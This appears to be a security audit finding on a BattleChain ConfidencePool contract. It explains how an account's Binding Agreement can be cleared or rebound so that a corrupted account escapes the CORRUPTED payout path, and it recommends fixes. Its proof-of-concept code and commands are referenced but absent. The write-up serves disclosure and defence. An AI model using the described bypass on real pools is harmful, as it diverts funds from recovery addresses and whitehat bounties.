Root + Impact

Description

Normal behavior is that a ConfidencePool commits to a fixed list of BattleChain accounts once the registry leaves pre-attack staging. The design states that later narrowing or expansion of the underlying Agreement should not change what the pool covers; the pool's own locked scope is the binding audit trail.

The issue is that the pool validates each account with IAgreement(agreement).isContractInScope(account) only when the scope is set, but all later lifecycle decisions read only getAgreementState(agreement) for the original Agreement. In the upstream BattleChain registry, isContractInScope(account) is explicitly not the source of truth for the account's current Binding Agreement; AttackRegistry.getAgreementForContract(account) is. The binding can be cleared or changed without changing the pool's locked scope, including through post-commitment account removal, DAO rejection of an attack request, or later terminal-state relinking. The pool still reports the account as in its locked local scope, but it can no longer observe corruption through the account's new Binding Agreement because it only checks A.

The upstream dependency behavior is intentional. Agreement.removeAccounts() calls unregisterContractForExistingAgreement, which deletes the account binding when the caller is the current binding Agreement. AttackRegistry.rejectAttackRequest() also clears every account binding for a rejected Agreement and deletes the Agreement registry state without consulting cantChangeUntil. Later registration paths can bind the same account to another Agreement when the existing binding is absent or no longer active. The upstream IAgreement.isContractInScope documentation warns that scope membership does not establish the Binding Agreement and users must resolve it via AttackRegistry.

Risk

Likelihood:

Reason 1: This occurs after Agreement A enters a post-staging state and the ConfidencePool locks its local scope, then the account's AttackRegistry binding is cleared through post-commitment account removal or DAO rejection of A's attack request.

Reason 2: This occurs when that detached account is registered under Agreement B and Agreement B reaches CORRUPTED while Agreement A remains non-CORRUPTED, such as UNDER_ATTACK or NOT_DEPLOYED after rejection.

Reason 3: The ConfidencePool's required expiry lead is 30 days, while the upstream commitment window can be 7 days, and registry rejection/terminal relinking can detach bindings independently of the commitment window.

Impact:

Impact 1: The trusted pool moderator cannot flag CORRUPTED for the locked account's actual corruption because flagOutcome(CORRUPTED) checks Agreement A's state, not the account's current Binding Agreement B.

Impact 2: At expiry, claimExpired() sees Agreement A as non-CORRUPTED and resolves through EXPIRED, paying stakers principal and routing any unearned bonus through the non-CORRUPTED bonus sweep despite the locked account being corrupted under B.

Impact 3: The full pool balance bypasses the intended CORRUPTED path, so the recovery address or good-faith whitehat bounty receives zero.

Proof of Concept

Create test/unit/ConfidencePool.bindingAgreementReassignment.poc.t.sol with the following full test contract:

Run:

Observed:

The first test proves the bypass end-to-end: the locked account's current Binding Agreement is CORRUPTED, the pool moderator cannot flag CORRUPTED, and expiry pays 150e18 to the staker while recovery receives zero. The second test is a control proving the same pool does slash when the stored Agreement A is the corrupted Agreement, so the failure is specifically the missing Binding Agreement tracking.

The rejection test proves that Agreement.getCantChangeUntil() >= pool.expiry() is not a complete mitigation. Agreement A's commitment extends beyond the pool expiry, but a normal registry rejection still clears the account binding, allows the account to be rebound under Agreement B, blocks the moderator from flagging B's genuine CORRUPTED result, and routes the pool through EXPIRED plus bonus sweep instead of the good-faith whitehat bounty path.

Production/testnet confirmation:

Observed:

These fork checks confirm the live BattleChain testnet SafeHarborRegistry, AttackRegistry, Agreement ABI, enum ordinals, and ConfidencePool creation path match the code path used by the PoC.

Live testnet deployment check:

Observed on BattleChain testnet on July 14, 2026:

This live pool is already resolved CORRUPTED, so it is not a currently exploitable instance of this finding. A current scan of the three observed PoolCreated entries also found no live rebound instance: each scoped account maps back to the pool's stored Agreement through that pool's actual AttackRegistry. The production check therefore confirms the deployed registry/factory/pool shape, but the exploitable rebinding condition is proven by the local end-to-end PoC rather than by a currently live misconfigured pool.

Recommended Mitigation

Do not rely on Agreement.cantChangeUntil >= pool expiry as a complete fix. That check prevents the owner-driven removeAccounts() manifestation, but it does not preserve the authoritative BattleChain binding. Registry rejection and terminal-state relinking can detach or overwrite an account's Binding Agreement independently of cantChangeUntil.

The pool must preserve or validate the account-to-Agreement relationship used for settlement, and it needs a non-bricking resolution path when that relationship diverges. Robust options are:

• Add an upstream monotonic corruption signal keyed by covered account, such as wasContractCorruptedDuring(account, start, end), so rebinding cannot erase whether a locked pool account was corrupted during the pool term.

• Track each scoped account's Binding Agreement at lock time and maintain/verifiably update Binding Agreement history throughout the pool term.

• Move the pool into a moderator-resolvable divergence state whenever a locked account stops being bound to the original Agreement, instead of letting claimExpired() silently treat the original Agreement's nonterminal state as survival.

• Add an upstream binding lock that covers registry rejection, Agreement scope removal, and terminal-state relinking for the full pool term.

As defense in depth only, initialization and setExpiry() can still require the Agreement commitment window to cover the pool term:

This only prevents a locked account from being removed through Agreement.removeAccounts() before expiry; it does not address registry-level detachment through rejection or relinking from terminal states.

One implementation direction is to derive pool state from the locked account-level commitment, not only from the fixed Agreement address used during initialization. For example, resolve every locked account's current Binding Agreement through AttackRegistry.getAgreementForContract(account) and let the moderator settle CORRUPTED when a scoped account's operative Binding Agreement is corrupted:

A simple claim-time equality check such as getAgreementForContract(account) == agreement is also insufficient when failure only reverts, because it can permanently lock all pool funds. The divergence path must still be resolvable by the trusted moderator or by an upstream account-keyed corruption/history proof. Simply rechecking IAgreement(agreement).isContractInScope(account) is not sufficient because upstream explicitly documents that this predicate is not the Binding Agreement source of truth.